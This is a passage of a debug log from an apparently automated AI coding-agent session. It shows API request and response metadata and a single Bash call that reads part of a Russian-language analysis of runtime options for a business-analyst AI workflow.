\u043f\u0438\u0448\u0435\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a \u0443\u0437\u043b\u0430, \u043d\u043e \u043d\u0435 \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0440\u0435\u0431\u0440\u043e |\\n390:  ([Building effective agents](https://www.anthropic.com/engineering/building-effective-agents));\\n392:  ([12-factor agents](https://github.com/humanlayer/12-factor-agents));\",\n[2026-09-29T07:51:33.062Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:51:33.062Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:51:33.062Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:51:33.062Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:51:33.062Z] [INFO]   }\n[2026-09-29T07:51:33.062Z] [INFO] }\n[2026-09-29T07:51:33.100Z] [STDOUT] [log_427d65] sending request {\n[2026-09-29T07:51:33.105Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:51:33.110Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:51:33.114Z] [STDOUT]   options: {\n[2026-09-29T07:51:33.121Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:51:33.129Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:51:33.134Z] [STDOUT]     body: {\n[2026-09-29T07:51:33.144Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:51:33.148Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:51:33.151Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:51:33.154Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:51:33.158Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:51:33.162Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:51:33.164Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:51:33.166Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:51:33.168Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:51:33.172Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:51:33.176Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:51:33.180Z] [STDOUT]       stream: true,\n[2026-09-29T07:51:33.184Z] [STDOUT]     },\n[2026-09-29T07:51:33.187Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:51:33.189Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:51:33.193Z] [STDOUT]       aborted: false,\n[2026-09-29T07:51:33.199Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:51:33.212Z] [STDOUT]       onabort: null,\n[2026-09-29T07:51:33.219Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:51:33.237Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:51:33.240Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:51:33.248Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:51:33.260Z] [STDOUT]     },\n[2026-09-29T07:51:33.265Z] [STDOUT]     stream: true,\n[2026-09-29T07:51:33.270Z] [STDOUT]   },\n[2026-09-29T07:51:33.275Z] [STDOUT]   headers: {\n[2026-09-29T07:51:33.279Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:51:33.285Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:51:33.289Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:51:33.295Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:51:33.298Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:51:33.304Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:51:33.307Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:51:33.311Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:51:33.318Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:51:33.323Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1406\",\n[2026-09-29T07:51:33.326Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:51:33.335Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:51:33.363Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:33.374Z] [STDOUT]     \"x-client-request-id\": \"1b2d9fe8-70c8-4236-b0ed-6a8925bc9267\",\n[2026-09-29T07:51:33.381Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:51:33.385Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:51:33.389Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:51:33.392Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:51:33.395Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:51:33.397Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:51:33.404Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:51:33.421Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:51:33.428Z] [STDOUT]   },\n[2026-09-29T07:51:33.436Z] [STDOUT] }\n[2026-09-29T07:51:33.990Z] [STDOUT] [log_427d65, request-id: \"req_011CfXNDuiJ52HTTayDfTQ1i\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 889ms\n[2026-09-29T07:51:33.996Z] [STDOUT] [log_427d65] response start {\n[2026-09-29T07:51:34.001Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:51:34.006Z] [STDOUT]   status: 200,\n[2026-09-29T07:51:34.013Z] [STDOUT]   headers: {\n[2026-09-29T07:51:34.019Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:51:34.027Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:51:34.067Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:51:34.071Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.39\",\n[2026-09-29T07:51:34.074Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:51:34.082Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:51:34.090Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:51:34.094Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:51:34.101Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:51:34.104Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:51:34.109Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:51:34.116Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:51:34.126Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:51:34.135Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:51:34.138Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:51:34.141Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:51:34.144Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:51:34.154Z] [STDOUT]     \"cf-ray\": \"a429673fefd801ff-CDG\",\n[2026-09-29T07:51:34.159Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:51:34.164Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:51:34.169Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:51:34.175Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:51:34.179Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:51:33 GMT\",\n[2026-09-29T07:51:34.184Z] [STDOUT]     \"request-id\": \"req_011CfXNDuiJ52HTTayDfTQ1i\",\n[2026-09-29T07:51:34.190Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:51:34.192Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:51:34.197Z] [STDOUT]     traceresponse: \"00-7bc5b14bbffed8e7e13c4aaa54e93ff2-b33029478874b3e7-01\",\n[2026-09-29T07:51:34.202Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:51:34.209Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:51:34.219Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:51:34.225Z] [STDOUT]   },\n[2026-09-29T07:51:34.231Z] [STDOUT]   durationMs: 889,\n[2026-09-29T07:51:34.237Z] [STDOUT] }\n[2026-09-29T07:51:34.239Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:51:34.243Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:51:33 GMT\",\n[2026-09-29T07:51:34.246Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:51:34.250Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:51:34.253Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:51:34.255Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:51:34.257Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:51:34.260Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:51:34.263Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:51:34.267Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:51:34.274Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:51:34.279Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:51:34.283Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:51:34.286Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:51:34.289Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.39\",\n[2026-09-29T07:51:34.297Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:51:34.301Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:51:34.305Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:51:34.307Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:51:34.309Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:51:34.319Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:51:34.324Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:51:34.328Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:51:34.335Z] [STDOUT]   \"request-id\": \"req_011CfXNDuiJ52HTTayDfTQ1i\",\n[2026-09-29T07:51:34.342Z] [STDOUT]   \"traceresponse\": \"00-7bc5b14bbffed8e7e13c4aaa54e93ff2-b33029478874b3e7-01\",\n[2026-09-29T07:51:34.346Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:51:34.352Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:51:34.354Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:51:34.359Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:51:34.361Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:51:34.366Z] [STDOUT]   \"cf-ray\": \"a429673fefd801ff-CDG\",\n[2026-09-29T07:51:34.368Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:51:34.372Z] [STDOUT] [log_427d65] response parsed {\n[2026-09-29T07:51:34.376Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:51:34.378Z] [STDOUT]   status: 200,\n[2026-09-29T07:51:34.385Z] [STDOUT]   body: X {\n[2026-09-29T07:51:34.389Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:51:34.394Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:51:34.399Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:51:34.405Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:51:34.412Z] [STDOUT]     },\n[2026-09-29T07:51:34.418Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:51:34.425Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:51:34.430Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:51:34.435Z] [STDOUT]   },\n[2026-09-29T07:51:34.439Z] [STDOUT]   durationMs: 890,\n[2026-09-29T07:51:34.445Z] [STDOUT] }\n[2026-09-29T07:51:35.157Z] [INFO] {\n[2026-09-29T07:51:35.157Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:51:35.157Z] [INFO]   \"message\": {\n[2026-09-29T07:51:35.157Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:51:35.157Z] [INFO]     \"id\": \"msg_011CfXNDv9Ltnw8L4S5YSW5w\",\n[2026-09-29T07:51:35.157Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:51:35.157Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:51:35.157Z] [INFO]     \"content\": [\n[2026-09-29T07:51:35.157Z] [INFO]       {\n[2026-09-29T07:51:35.157Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:51:35.157Z] [INFO]         \"id\": \"toolu_01X9Kkn54ojJQ1dZfriJ5dHv\",\n[2026-09-29T07:51:35.157Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:51:35.157Z] [INFO]         \"input\": {\n[2026-09-29T07:51:35.157Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process; sed -n 325,345p docs/analysis/2026-09-29-ba-ai-process-runtime-options.md; sed -n 385,395p docs/analysis/2026-09-29-ba-ai-process-runtime-options.md\",\n[2026-09-29T07:51:35.157Z] [INFO]           \"description\": \"Read refutation criterion context\"\n[2026-09-29T07:51:35.157Z] [INFO]         },\n[2026-09-29T07:51:35.157Z] [INFO]         \"caller\": {\n[2026-09-29T07:51:35.157Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:51:35.157Z] [INFO]         }\n[2026-09-29T07:51:35.157Z] [INFO]       }\n[2026-09-29T07:51:35.157Z] [INFO]     ],\n[2026-09-29T07:51:35.157Z] [INFO]     \"container\": null,\n[2026-09-29T07:51:35.157Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:51:35.157Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:51:35.157Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:51:35.157Z] [INFO]     \"usage\": {\n[2026-09-29T07:51:35.157Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:51:35.157Z] [INFO]       \"cache_creation_input_tokens\": 1419,\n[2026-09-29T07:51:35.157Z] [INFO]       \"cache_read_input_tokens\": 101134,\n[2026-09-29T07:51:35.157Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:51:35.157Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:51:35.157Z] [INFO]         \"ephemeral_1h_input_tokens\": 1419\n[2026-09-29T07:51:35.157Z] [INFO]       },\n[2026-09-29T07:51:35.157Z] [INFO]       \"output_tokens\": 20,\n[2026-09-29T07:51:35.157Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:51:35.157Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:51:35.157Z] [INFO]     },\n[2026-09-29T07:51:35.157Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:51:35.157Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:51:35.157Z] [INFO]     \"context_management\": null\n[2026-09-29T07:51:35.157Z] [INFO]   },\n[2026-09-29T07:51:35.157Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:51:35.157Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:35.157Z] [INFO]   \"uuid\": \"3f6fdeb1-46c5-44c3-a4f0-23f10324413f\",\n[2026-09-29T07:51:35.157Z] [INFO]   \"timestamp\": \"2026-09-29T07:51:35.127Z\",\n[2026-09-29T07:51:35.157Z] [INFO]   \"request_id\": \"req_011CfXNDuiJ52HTTayDfTQ1i\",\n[2026-09-29T07:51:35.157Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:51:35.157Z] [INFO]     \"toolu_01X9Kkn54ojJQ1dZfriJ5dHv\": {\n[2026-09-29T07:51:35.157Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process; sed -n 325,345p docs/analysis/2026-09-29-ba-ai-process-runtime-options.md; sed -n 385,395p docs/analysis/2026-09-29-ba-ai-process-runtime-options.md\",\n[2026-09-29T07:51:35.157Z] [INFO]       \"description\": \"Read refutation criterion context\"\n[2026-09-29T07:51:35.157Z] [INFO]     }\n[2026-09-29T07:51:35.157Z] [INFO]   }\n[2026-09-29T07:51:35.157Z] [INFO] }\n[2026-09-29T07:51:36.472Z] [INFO] {\n[2026-09-29T07:51:36.472Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:51:36.472Z] [INFO]   \"message\": {\n[2026-09-29T07:51:36.472Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:51:36.472Z] [INFO]     \"content\": [\n[2026-09-29T07:51:36.472Z] [INFO]       {\n[2026-09-29T07:51:36.472Z] [INFO]         \"tool_use_id\": \"toolu_01X9Kkn54ojJQ1dZfriJ5dHv\",\n[2026-09-29T07:51:36.472Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:51:36.472Z] [INFO]         \"content\": \"**\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u0435\u0435 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0445 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435.**\\n\u041f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432\u0441\u0451, \u0447\u0442\u043e \u0443\u0436\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442: \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440, \u0441\u0445\u0435\u043c\u044b, \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b,\\n\u0436\u0443\u0440\u043d\u0430\u043b \u0441 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432 ([\u0413-35](#\u0433-35)), \u0442\u0435\u0441\u0442\u044b runner. \u041d\u043e\u0432\u043e\u0439\\n\u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0439 \u0418\u0411 \u043d\u0435 \u043d\u0443\u0436\u043d\u043e. \u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0441\u0440\u0435\u0434 1 \u0438 2\\n\u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u044b: \u0432 \u0441\u0440\u0435\u0434\u0435 1 \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0438\u0437 \u043a\u043e\u0434\u0430, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e API \u043d\u0435\u0442, \u0438\\nrunner \u0432\u0435\u0434\u0451\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0430 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a \u043f\u0438\u0448\u0435\u0442 \u0430\u0433\u0435\u043d\u0442.\\n\\n**\u0427\u0435\u0433\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043d\u0435 \u0434\u0430\u0451\u0442.** \u0411\u0410 \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0435 \u0438 \u0441\u0430\u043c\\n\u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a. \u041e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0432 \u0444\u0430\u0439\u043b\u0435 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435,\\n\u0431\u0435\u0437 \u043d\u0430\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u0439. \u042d\u0442\u043e \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u043c\u0435\u0441\u0442\u0430, \u0430 \u043d\u0435 \u0434\u0435\u0444\u0435\u043a\u0442 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430.\\n\\n**\u041f\u043e\u0440\u043e\u0433 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f.** \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 1 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u0430, \u0435\u0441\u043b\u0438 \u043f\u043e\u0441\u043b\u0435 10 \u0437\u0430\u0434\u0430\u0447\\n\u043f\u043e \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044e ADR-018 \u0434\u043e\u043b\u044f \u0448\u0430\u0433\u043e\u0432 \u0441 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u0443\u0437\u043b\u0430 \u043d\u0438\u0436\u0435 95% \u0438\u043b\u0438\\n\u043f\u043e \u0436\u0443\u0440\u043d\u0430\u043b\u0443 runner \u0411\u0410 \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435.\\n\\n## \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 2: \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u0430 4\\n\\n**\u0421\u0443\u0442\u044c.** \u0422\u043e \u0436\u0435 \u044f\u0434\u0440\u043e runner \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043a\u0430\u043a \u0441\u043b\u0443\u0436\u0431\u0430. \u041e\u043d\u0430 \u0441\u0430\u043c\u0430 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\\n\u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0430 \u0448\u0430\u0433\u0435, \u0436\u0434\u0451\u0442 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u0438 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043d\u0443\u0436\u043d\u043e \u0438 \u0445\u0440\u0430\u043d\u0438\u0442 \u0436\u0443\u0440\u043d\u0430\u043b\\n\u0446\u0435\u043d\u0442\u0440\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e. \u042d\u0442\u043e \u043f\u0440\u044f\u043c\u043e\u0435 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0435\\n[ADR-019, \u0441\u0440\u0435\u0434\u0430 4](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md#L92-L96):\\n\\n## \u041f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u0438 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u0430\u044e\u0449\u0438\u0435 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430\\n\\n- **\u0417\u0430 \u00ab\u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0432 \u043a\u043e\u0434\u0435, \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0430 \u0448\u0430\u0433\u0435\u00bb.** Anthropic: workflow \u0434\u0430\u044e\u0442\\n  \u00abpredictability and consistency for well-defined tasks\u00bb\\n  ([Building effective agents](https://www.anthropic.com/engineering/building-effective-agents));\\n  HumanLayer, \u0444\u0430\u043a\u0442\u043e\u0440 8 \u2014 \u00abOwn your control flow\u00bb\\n  ([12-factor agents](https://github.com/humanlayer/12-factor-agents));\\n  LangChain: \u043f\u043e\u0447\u0442\u0438 \u0432\u0441\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0432 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435 \u2014 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0435 workflow \u0438\\n  \u0430\u0433\u0435\u043d\u0442\u043e\u0432 ([How to think about agent frameworks](https://www.langchain.com/blog/how-to-think-about-agent-frameworks)).\\n  BA-\u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0441 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\u043c\u0438 \u0438 \u0433\u0435\u0439\u0442\u0430\u043c\u0438 \u2014 \u0445\u043e\u0440\u043e\u0448\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430.\",\n[2026-09-29T07:51:36.472Z] [INFO]         \"is_error\": false\n[2026-09-29T07:51:36.472Z] [INFO]       }\n[2026-09-29T07:51:36.472Z] [INFO]     ]\n[2026-09-29T07:51:36.472Z] [INFO]   },\n[2026-09-29T07:51:36.472Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:51:36.472Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:36.472Z] [INFO]   \"uuid\": \"e561cf13-1518-4184-878a-b570b33b7561\",\n[2026-09-29T07:51:36.472Z] [INFO]   \"timestamp\": \"2026-09-29T07:51:36.465Z\",\n[2026-09-29T07:51:36.472Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:51:36.472Z] [INFO]     \"stdout\": \"**\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e 